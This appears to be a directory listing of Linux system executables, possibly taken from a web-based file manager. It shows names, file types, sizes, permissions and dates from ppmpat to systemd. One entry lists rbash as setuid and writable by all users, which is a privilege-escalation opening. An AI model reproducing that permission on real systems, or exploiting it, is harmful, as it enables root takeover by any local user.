ppmpat
application/x-pie-executable
26.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmquant
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmquantall
text/x-shellscript
2.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmqvga
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmrainbow
text/x-perl
1.67 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmrelief
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmshadow
text/x-perl
6.67 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmshift
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmspread
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtoacad
application/x-pie-executable
18.88 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtobmp
application/x-pie-executable
18.07 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtoeyuv
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtogif
application/x-pie-executable
22.03 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtoicr
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtoilbm
application/x-pie-executable
46.11 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtojpeg
application/x-pie-executable
22.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtoleaf
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtolj
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtomap
text/x-shellscript
81 B
-rwxr-xr-x
2021-02-07 06:32:35
ppmtomitsu
application/x-pie-executable
22.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtompeg
application/x-pie-executable
541.94 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtoneo
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtopcx
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtopgm
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtopi1
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtopict
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtopj
application/x-pie-executable
14.09 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtopuzz
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtorgb3
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtosixel
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtotga
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtouil
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtowinicon
application/x-pie-executable
18.05 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtoxpm
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtoyuv
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtoyuvsplit
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmtv
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pr
application/x-pie-executable
66.58 KB
-rwxr-xr-x
2026-01-23 10:51:17
preconv
application/x-pie-executable
54.48 KB
-rwxr-xr-x
2022-03-23 01:56:30
print
text/x-perl
18.06 KB
-rwxr-xr-x
2026-07-03 01:05:05
printafm
text/x-shellscript
395 B
-rwxr-xr-x
2025-09-25 04:42:27
printenv
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2026-01-23 10:51:17
printf
application/x-pie-executable
50.44 KB
-rwxr-xr-x
2026-01-23 10:51:17
prlimit
application/x-pie-executable
26.89 KB
-rwxr-xr-x
2026-03-06 04:10:04
pro
text/x-script.python
1003 B
-rwxr-xr-x
2026-07-06 01:36:19
prove
text/x-perl
13.34 KB
-rwxr-xr-x
2026-06-23 08:11:00
prtstat
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2022-03-24 04:29:37
ps
application/x-pie-executable
138.45 KB
-rwxr-xr-x
2023-10-31 11:36:04
ps2ascii
text/x-shellscript
631 B
-rwxr-xr-x
2025-09-25 04:42:27
ps2epsi
text/x-shellscript
1.23 KB
-rwxr-xr-x
2025-09-25 04:42:27
ps2pdf
text/x-shellscript
272 B
-rwxr-xr-x
2025-09-25 04:42:27
ps2pdf12
text/x-shellscript
215 B
-rwxr-xr-x
2025-09-25 04:42:27
ps2pdf13
text/x-shellscript
215 B
-rwxr-xr-x
2025-09-25 04:42:27
ps2pdf14
text/x-shellscript
215 B
-rwxr-xr-x
2025-09-25 04:42:27
ps2pdfwr
text/x-shellscript
1.05 KB
-rwxr-xr-x
2025-09-25 04:42:27
ps2ps
text/x-shellscript
647 B
-rwxr-xr-x
2025-09-25 04:42:27
ps2ps2
text/x-shellscript
669 B
-rwxr-xr-x
2025-09-25 04:42:27
ps2txt
text/x-shellscript
631 B
-rwxr-xr-x
2025-09-25 04:42:27
psfaddtable
application/x-pie-executable
26.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
psfgettable
application/x-pie-executable
26.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
psfstriptable
application/x-pie-executable
26.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
psfxtable
application/x-pie-executable
26.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
psidtopgm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pslog
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2022-03-24 04:29:37
pstopnm
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pstree
application/x-pie-executable
35.32 KB
-rwxr-xr-x
2022-03-24 04:29:37
pstree.x11
application/x-pie-executable
35.32 KB
-rwxr-xr-x
2022-03-24 04:29:37
ptar
text/x-perl
3.48 KB
-rwxr-xr-x
2026-06-23 08:11:00
ptardiff
text/x-perl
2.58 KB
-rwxr-xr-x
2026-06-23 08:11:00
ptargrep
text/x-perl
4.29 KB
-rwxr-xr-x
2026-06-23 08:11:00
ptx
application/x-pie-executable
126.55 KB
-rwxr-xr-x
2026-01-23 10:51:17
purge-old-kernels
text/x-shellscript
1.12 KB
-rwxr-xr-x
2020-02-17 02:11:50
pwd
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
pwdx
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2023-10-31 11:36:04
py3clean
text/x-script.python
7.63 KB
-rwxr-xr-x
2024-08-08 12:28:21
py3compile
text/x-script.python
12.88 KB
-rwxr-xr-x
2024-08-08 12:28:21
py3versions
text/x-script.python
11.63 KB
-rwxr-xr-x
2024-08-08 12:28:21
pybabel
text/x-script.python
953 B
-rwxr-xr-x
2021-05-01 03:13:14
pybabel-python3
text/x-script.python
953 B
-rwxr-xr-x
2021-05-01 03:13:14
pydoc3
text/x-script.python
79 B
-rwxr-xr-x
2026-06-22 06:55:27
pydoc3.10
text/x-script.python
79 B
-rwxr-xr-x
2026-06-22 06:55:27
pygettext3
text/x-script.python
23.67 KB
-rwxr-xr-x
2023-06-06 10:30:33
pygettext3.10
text/x-script.python
23.67 KB
-rwxr-xr-x
2023-06-06 10:30:33
pyhtmlizer3
text/x-script.python
968 B
-rwxr-xr-x
2026-05-22 03:02:45
pyserial-miniterm
text/x-script.python
975 B
-rwxr-xr-x
2022-04-03 09:33:57
pyserial-ports
text/x-script.python
969 B
-rwxr-xr-x
2022-04-03 09:33:57
python3
application/x-pie-executable
5.64 MB
-rwxr-xr-x
2026-06-22 06:55:27
python3.10
application/x-pie-executable
5.64 MB
-rwxr-xr-x
2026-06-22 06:55:27
pzstd
application/x-pie-executable
702.47 KB
-rwxr-xr-x
2022-03-24 04:15:58
qrencode
application/x-pie-executable
38.25 KB
-rwxr-xr-x
2020-12-22 05:31:03
qrttoppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
quirks-handler
text/x-script.python
2.4 KB
-rwxr-xr-x
2025-12-10 09:16:48
ranlib
application/x-pie-executable
54.48 KB
-rwxr-xr-x
2025-12-03 03:08:01
rasttopnm
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
rawtopgm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
rawtoppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
rbash
application/x-pie-executable
1.33 MB
-rwsrwxrwx
2024-03-14 11:31:47
rcp
application/x-pie-executable
130.59 KB
-rwxr-xr-x
2026-07-09 06:38:00
rdma
application/x-pie-executable
98.52 KB
-rwxr-xr-x
2026-04-15 07:15:26
readelf
application/x-pie-executable
758.44 KB
-rwxr-xr-x
2025-12-03 03:08:01
readlink
application/x-pie-executable
38.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
realpath
application/x-pie-executable
38.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
red
text/x-shellscript
89 B
-rwxr-xr-x
2022-02-13 11:08:51
renice
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
rescan-scsi-bus.sh
text/x-shellscript
38.05 KB
-rwxr-xr-x
2023-03-22 02:57:45
reset
application/x-pie-executable
26.31 KB
-rwxr-xr-x
2026-06-30 09:25:30
resizecons
application/x-pie-executable
26.32 KB
-rwxr-xr-x
2022-12-16 02:14:33
resizepart
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
resolvectl
application/x-pie-executable
130.52 KB
-rwxr-xr-x
2026-06-05 03:40:28
rev
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
rgb3toppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
rgrep
text/x-shellscript
30 B
-rwxr-xr-x
2020-01-29 12:09:17
rletopnm
application/x-pie-executable
42.27 KB
-rwxr-xr-x
2021-02-07 06:32:35
rlogin
application/x-pie-executable
827.04 KB
-rwxr-xr-x
2026-07-09 06:38:00
rm
application/x-pie-executable
58.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
rmdir
application/x-pie-executable
42.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
rnano
application/x-pie-executable
276.52 KB
-rwxr-xr-x
2026-06-03 10:51:38
rotatelogs
application/x-pie-executable
26.38 KB
-rwxr-xr-x
2026-07-06 04:41:46
routef
text/x-shellscript
208 B
-rwxr-xr-x
2026-04-15 07:15:26
routel
text/x-shellscript
1.62 KB
-rwxr-xr-x
2026-04-15 07:15:26
rpcgen
application/x-pie-executable
94.59 KB
-rwxr-xr-x
2022-03-25 09:57:34
rrsync
text/x-script.python
12.34 KB
-rwxr-xr-x
2026-06-08 02:10:43
rsh
application/x-pie-executable
827.04 KB
-rwxr-xr-x
2026-07-09 06:38:00
rsync
application/x-pie-executable
522.09 KB
-rwxr-xr-x
2026-06-08 02:10:43
rsync-ssl
text/x-shellscript
5.02 KB
-rwxr-xr-x
2026-06-08 02:10:43
rtstat
application/x-pie-executable
22.66 KB
-rwxr-xr-x
2026-04-15 07:15:26
run-mailcap
text/x-perl
18.06 KB
-rwxr-xr-x
2026-07-03 01:05:05
run-one
text/x-shellscript
3.51 KB
-rwxr-xr-x
2014-01-15 10:24:04
run-one-constantly
text/x-shellscript
3.51 KB
-rwxr-xr-x
2014-01-15 10:24:04
run-one-until-failure
text/x-shellscript
3.51 KB
-rwxr-xr-x
2014-01-15 10:24:04
run-one-until-success
text/x-shellscript
3.51 KB
-rwxr-xr-x
2014-01-15 10:24:04
run-parts
application/x-pie-executable
26.54 KB
-rwxr-xr-x
2022-03-23 01:49:54
run-this-one
text/x-shellscript
3.51 KB
-rwxr-xr-x
2014-01-15 10:24:04
runcon
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
rview
application/x-pie-executable
3.61 MB
-rwxr-xr-x
2026-07-13 07:08:21
rvim
application/x-pie-executable
3.61 MB
-rwxr-xr-x
2026-07-13 07:08:21
savelog
text/x-shellscript
10.24 KB
-rwxr-xr-x
2022-03-23 01:49:54
sbattach
application/x-pie-executable
26.54 KB
-rwxr-xr-x
2021-11-05 05:32:24
sbigtopgm
application/x-pie-executable
14.12 KB
-rwxr-xr-x
2021-02-07 06:32:35
sbkeysync
application/x-pie-executable
34.74 KB
-rwxr-xr-x
2021-11-05 05:32:24
sbsiglist
application/x-pie-executable
14.6 KB
-rwxr-xr-x
2021-11-05 05:32:24
sbsign
application/x-pie-executable
34.7 KB
-rwxr-xr-x
2021-11-05 05:32:24
sbvarsign
application/x-pie-executable
22.73 KB
-rwxr-xr-x
2021-11-05 05:32:24
sbverify
application/x-pie-executable
34.61 KB
-rwxr-xr-x
2021-11-05 05:32:24
scandeps
text/x-perl
6.45 KB
-rwxr-xr-x
2024-11-18 05:31:20
scp
application/x-pie-executable
130.59 KB
-rwxr-xr-x
2026-07-09 06:38:00
screen
application/x-pie-executable
466.24 KB
-rwxr-xr-x
2026-01-22 08:14:32
screendump
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2022-12-16 02:14:33
script
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
scriptlive
application/x-pie-executable
42.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
scriptreplay
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
scsi_logging_level
text/x-shellscript
8.38 KB
-rwxr-xr-x
2023-03-22 02:57:45
scsi_mandat
text/x-shellscript
3.52 KB
-rwxr-xr-x
2023-03-22 02:57:45
scsi_readcap
text/x-shellscript
1.3 KB
-rwxr-xr-x
2023-03-22 02:57:45
scsi_ready
text/x-shellscript
1.09 KB
-rwxr-xr-x
2023-03-22 02:57:45
scsi_satl
text/x-shellscript
3.74 KB
-rwxr-xr-x
2023-03-22 02:57:45
scsi_start
text/x-shellscript
1.25 KB
-rwxr-xr-x
2023-03-22 02:57:45
scsi_stop
text/x-shellscript
1.44 KB
-rwxr-xr-x
2023-03-22 02:57:45
scsi_temperature
text/x-shellscript
936 B
-rwxr-xr-x
2023-03-22 02:57:45
sdiff
application/x-pie-executable
46.39 KB
-rwxr-xr-x
2022-03-23 01:50:34
sed
application/x-pie-executable
110.57 KB
-rwxr-xr-x
2026-04-17 06:02:54
see
text/x-perl
18.06 KB
-rwxr-xr-x
2026-07-03 01:05:05
select-editor
text/x-shellscript
2.39 KB
-rwxr-xr-x
2021-08-29 05:44:44
sensible-browser
text/x-shellscript
1.26 KB
-rwxr-xr-x
2021-08-29 05:44:44
sensible-editor
text/x-shellscript
1.24 KB
-rwxr-xr-x
2021-08-29 05:44:44
sensible-pager
text/x-shellscript
565 B
-rwxr-xr-x
2021-08-29 05:44:44
seq
application/x-pie-executable
46.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
setarch
application/x-pie-executable
26.65 KB
-rwxr-xr-x
2026-03-06 04:10:04
setfont
application/x-pie-executable
50.32 KB
-rwxr-xr-x
2022-12-16 02:14:33
setkeycodes
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
setleds
application/x-pie-executable
18.21 KB
-rwxr-xr-x
2022-12-16 02:14:33
setlogcons
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
setmetamode
application/x-pie-executable
14.26 KB
-rwxr-xr-x
2022-12-16 02:14:33
setpci
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2021-08-30 02:45:58
setpriv
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
setsid
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
setterm
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
setupcon
text/x-shellscript
38.31 KB
-rwxr-xr-x
2021-11-22 04:39:53
sftp
application/x-pie-executable
146.66 KB
-rwxr-xr-x
2026-07-09 06:38:00
sg
application/x-pie-executable
39.55 KB
-rwsr-xr-x
2024-02-06 12:54:23
sg_bg_ctl
application/x-pie-executable
14.51 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_compare_and_write
application/x-pie-executable
26.91 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_copy_results
application/x-pie-executable
23.3 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_dd
application/x-pie-executable
54.33 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_decode_sense
application/x-pie-executable
14.76 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_emc_trespass
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_format
application/x-pie-executable
39.35 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_get_config
application/x-pie-executable
35.39 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_get_elem_status
application/x-pie-executable
26.79 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_get_lba_status
application/x-pie-executable
22.95 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_ident
application/x-pie-executable
14.6 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_inq
application/x-pie-executable
119.61 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_logs
application/x-pie-executable
150.93 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_luns
application/x-pie-executable
22.79 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_map
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_map26
application/x-pie-executable
26.7 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_modes
application/x-pie-executable
46.08 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_opcodes
application/x-pie-executable
35.01 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_persist
application/x-pie-executable
36.08 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_prevent
application/x-pie-executable
14.51 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_raw
application/x-pie-executable
26.91 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_rbuf
application/x-pie-executable
22.73 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_rdac
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_read
application/x-pie-executable
26.31 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_read_attr
application/x-pie-executable
36.65 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_read_block_limits
application/x-pie-executable
14.54 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_read_buffer
application/x-pie-executable
27.56 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_read_long
application/x-pie-executable
14.7 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_readcap
application/x-pie-executable
22.79 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_reassign
application/x-pie-executable
14.66 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_referrals
application/x-pie-executable
14.66 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_rep_pip
application/x-pie-executable
14.57 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_rep_zones
application/x-pie-executable
26.8 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_requests
application/x-pie-executable
22.76 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_reset
application/x-pie-executable
14.66 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_reset_wp
application/x-pie-executable
14.6 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_rmsn
application/x-pie-executable
14.51 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_rtpg
application/x-pie-executable
14.6 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_safte
application/x-pie-executable
22.7 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_sanitize
application/x-pie-executable
27.01 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_sat_identify
application/x-pie-executable
18.73 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_sat_phy_event
application/x-pie-executable
19.01 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_sat_read_gplog
application/x-pie-executable
18.73 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_sat_set_features
application/x-pie-executable
18.7 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_scan
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_seek
application/x-pie-executable
18.88 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_senddiag
application/x-pie-executable
27.2 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_ses
application/x-pie-executable
119.97 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_ses_microcode
application/x-pie-executable
27.36 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_start
application/x-pie-executable
18.85 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_stpg
application/x-pie-executable
22.73 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_stream_ctl
application/x-pie-executable
18.7 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_sync
application/x-pie-executable
14.66 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_test_rwbuf
application/x-pie-executable
18.6 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_timestamp
application/x-pie-executable
18.83 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_turs
application/x-pie-executable
26.7 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_unmap
application/x-pie-executable
22.76 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_verify
application/x-pie-executable
18.91 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_vpd
application/x-pie-executable
114.42 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_wr_mode
application/x-pie-executable
22.73 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_write_buffer
application/x-pie-executable
27.23 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_write_long
application/x-pie-executable
14.76 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_write_same
application/x-pie-executable
26.95 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_write_verify
application/x-pie-executable
26.79 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_write_x
application/x-pie-executable
55.6 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_xcopy
application/x-pie-executable
42.32 KB
-rwxr-xr-x
2023-03-22 02:57:45
sg_zone
application/x-pie-executable
14.86 KB
-rwxr-xr-x
2023-03-22 02:57:45
sginfo
application/x-pie-executable
72.01 KB
-rwxr-xr-x
2023-03-22 02:57:45
sgitopnm
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
sgm_dd
application/x-pie-executable
38.31 KB
-rwxr-xr-x
2023-03-22 02:57:45
sgp_dd
application/x-pie-executable
46.31 KB
-rwxr-xr-x
2023-03-22 02:57:45
sh
application/x-pie-executable
122.74 KB
-rwxr-xr-x
2022-03-23 01:49:23
sha1sum
application/x-pie-executable
42.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
sha224sum
application/x-pie-executable
50.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
sha256sum
application/x-pie-executable
50.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
sha384sum
application/x-pie-executable
58.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
sha512sum
application/x-pie-executable
58.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
shasum
text/x-perl
9.75 KB
-rwxr-xr-x
2026-06-23 08:11:00
showconsolefont
application/x-pie-executable
18.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
showkey
application/x-pie-executable
18.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
shred
application/x-pie-executable
50.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
shuf
application/x-pie-executable
46.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
sirtopnm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
size
application/x-pie-executable
30.45 KB
-rwxr-xr-x
2025-12-03 03:08:01
skill
application/x-pie-executable
30.23 KB
-rwxr-xr-x
2023-10-31 11:36:04
slabtop
application/x-pie-executable
22.23 KB
-rwxr-xr-x
2023-10-31 11:36:04
sldtoppm
application/x-pie-executable
18.09 KB
-rwxr-xr-x
2021-02-07 06:32:35
sleep
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
slogin
application/x-pie-executable
827.04 KB
-rwxr-xr-x
2026-07-09 06:38:00
snap
application/x-pie-executable
20.59 MB
-rwxr-xr-x
2026-07-10 11:48:41
snapctl
application/x-executable
7.21 MB
-rwxr-xr-x
2026-07-10 11:48:41
snapfuse
application/x-pie-executable
38.23 KB
-rwxr-xr-x
2026-07-10 11:48:41
snice
application/x-pie-executable
30.23 KB
-rwxr-xr-x
2023-10-31 11:36:04
soelim
application/x-pie-executable
30.48 KB
-rwxr-xr-x
2022-03-23 01:56:30
sort
application/x-pie-executable
98.8 KB
-rwxr-xr-x
2026-01-23 10:51:17
sos
text/x-script.python
612 B
-rwxr-xr-x
2025-12-19 05:58:00
sos-collector
text/x-script.python
1.04 KB
-rwxr-xr-x
2025-11-06 09:44:58
sosreport
text/x-script.python
1.03 KB
-rwxr-xr-x
2025-11-06 09:44:58
sotruss
text/x-shellscript
4.21 KB
-rwxr-xr-x
2026-07-24 12:11:17
spctoppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
splain
text/x-perl
18.96 KB
-rwxr-xr-x
2026-06-23 08:11:00
split
application/x-pie-executable
50.97 KB
-rwxr-xr-x
2026-01-23 10:51:17
splitfont
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2022-12-16 02:14:33
sprof
application/x-pie-executable
34.37 KB
-rwxr-xr-x
2026-07-24 12:11:17
sputoppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
sqfscat
application/x-pie-executable
131.9 KB
-rwxr-xr-x
2022-03-25 09:58:38
sqfstar
application/x-pie-executable
254.68 KB
-rwxr-xr-x
2022-03-25 09:58:38
ss
application/x-pie-executable
125.07 KB
-rwxr-xr-x
2026-04-15 07:15:26
ssh
application/x-pie-executable
827.04 KB
-rwxr-xr-x
2026-07-09 06:38:00
ssh-add
application/x-pie-executable
166.42 KB
-rwxr-xr-x
2026-07-09 06:38:00
ssh-agent
application/x-pie-executable
286.43 KB
-rwxr-sr-x
2026-07-09 06:38:00
ssh-argv0
text/x-shellscript
1.42 KB
-rwxr-xr-x
2024-07-10 10:17:07
ssh-copy-id
text/x-shellscript
12.38 KB
-rwxr-xr-x
2022-02-23 11:31:11
ssh-import-id
text/x-script.python
985 B
-rwxr-xr-x
2021-02-11 03:34:06
ssh-import-id-gh
text/x-shellscript
785 B
-rwxr-xr-x
2020-12-07 07:19:36
ssh-import-id-lp
text/x-shellscript
785 B
-rwxr-xr-x
2020-12-07 07:19:36
ssh-keygen
application/x-pie-executable
446.44 KB
-rwxr-xr-x
2026-07-09 06:38:00
ssh-keyscan
application/x-pie-executable
190.44 KB
-rwxr-xr-x
2026-07-09 06:38:00
st4topgm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
stat
application/x-pie-executable
78.52 KB
-rwxr-xr-x
2026-01-23 10:51:17
static-sh
application/x-executable
2.09 MB
-rwxr-xr-x
2024-08-13 01:39:23
stdbuf
application/x-pie-executable
42.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
strace
application/x-pie-executable
1.88 MB
-rwxr-xr-x
2022-02-16 09:37:21
strace-log-merge
text/x-shellscript
1.78 KB
-rwxr-xr-x
2021-02-16 08:00:00
stream
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
stream-im6
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
stream-im6.q16
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
streamzip
text/x-perl
7.75 KB
-rwxr-xr-x
2026-06-23 08:11:00
strings
application/x-pie-executable
30.61 KB
-rwxr-xr-x
2025-12-03 03:08:01
strip
application/x-pie-executable
162.57 KB
-rwxr-xr-x
2025-12-03 03:08:01
stty
application/x-pie-executable
74.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
su
application/x-pie-executable
54.38 KB
-rwsr-xr-x
2026-03-06 04:10:04
sudo
application/x-pie-executable
226.97 KB
-rwsr-xr-x
2026-03-02 01:08:06
sudoedit
application/x-pie-executable
226.97 KB
-rwsr-xr-x
2026-03-02 01:08:06
sudoreplay
application/x-pie-executable
87.64 KB
-rwxr-xr-x
2026-03-02 01:08:06
sum
application/x-pie-executable
34.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
sync
application/x-pie-executable
34.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
systemctl
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
systemd
application/x-pie-executable
1.76 MB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-analyze
application/x-pie-executable
1.73 MB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-ask-password
application/x-pie-executable
18.48 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-cat
application/x-pie-executable
18.38 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-cgls
application/x-pie-executable
